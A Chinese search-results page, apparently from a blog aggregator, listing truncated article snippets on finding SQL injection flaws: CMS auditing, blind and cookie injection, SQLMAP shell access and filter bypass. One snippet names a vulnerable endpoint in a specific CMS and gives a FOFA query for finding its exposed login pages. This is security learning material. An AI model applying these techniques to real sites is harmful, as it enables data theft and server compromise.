  • 目录0X01 CMS环境搭建(espcms)0X02 自动化审计工具0X03 直接挖掘select注入0X04 漏洞验证POC 0X01 CMS环境搭建(espcms) 完成搭建 下载地址:(已上传,稍后补充) 0X02 自动化审计工具 作者网站现在已经...
  • tid=9216&extra=page%3D1%26filter%3Dtypeid%26typeid%3D70?from=51ctobaibaiWEB安全系列之如何挖掘SQL注入漏洞(时间盲注+cookie注入)0x01前言 这是第四篇了~0x0...
  • 0x01 SQL注入漏洞概述 1. 现状 高危害 攻击频率高 攻击普及 2.sql注入的攻击方式 2.1 高权限 在高权限的时候,可以直接写入webshell或者直接执行系统命令等。 2.2 低权限 通过注入获取管理员的密码等...
  • 论文《基于网络爬虫的SQL注入与XSS漏洞挖掘
  • 程序把用户输入的恶意内容传入SQL语句中执行,导致SQL注入漏洞产生。 二、常见挖掘方式 直接对url中的参数(请求参数、请求头)进行注入 Burp抓取post包进行注入 三、判断注入点 单引号判断:如果出现错误...
  • We are all in the gutter, but some of us are looking at the ...目录实验环境SQL注入的危害漏洞挖掘SQL注入SQL盲注SQLMAP利用SQLMAP获取shell读写文件,获取shell过滤器绕过漏洞预防 实验环境 本实验基于以下...
  • SQL注入的原因是因为服务器没有对 客户端数据进行判断,并且前端的数据是攻击者可以控制,攻击者就可以构造不同的语句对数据库进行任意操作 寻找SQL注入点方式: 1.查看是否报错,从而判断是否对输入的SQL...
  • 手动漏洞挖掘-SQL注入小谈

    千次阅读 2016-04-25 20:53:14
    所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 服务器端程序将用户输入参数做为查询条件,直接拼接SQL语句,并将查询结果返回给客户端...
  • SQL注入SQL注入漏洞原理查询方法基于报错的检测方法(low)基于布尔的检测order by排序联合查询实践简单利用权限分离绕过服务器过滤无权读取information_schema库 实验环境: metasploitable:172.16.2.63 Security ...
  • 狮子鱼CMS ApiController.class.php 参数过滤存在不严谨,导致SQL注入漏洞 FOFA语法: “/seller.php?s=/Public/login” 后台登录界面 漏洞点:ApiController.class.php public function goods_detail() { $...
  • 作者:viekst 0x01 注入漏洞简介 注入漏洞是web应用中最常见的安全漏洞之一,由于一些程序没有过滤用户的输入,攻击者通过向服务器提交恶意的SQL查询...攻击者通过SQL注入可以从数据库获取敏感信息,或者利用...
  • SQL注入与SQLmap工具 玄道,从混迹漏洞平台与SRC应急响应中心的白帽...

空空如也

空空如也

1 2 3 4 5 ... 14
收藏数 278
精华内容 111
关键字:

sql注入漏洞挖掘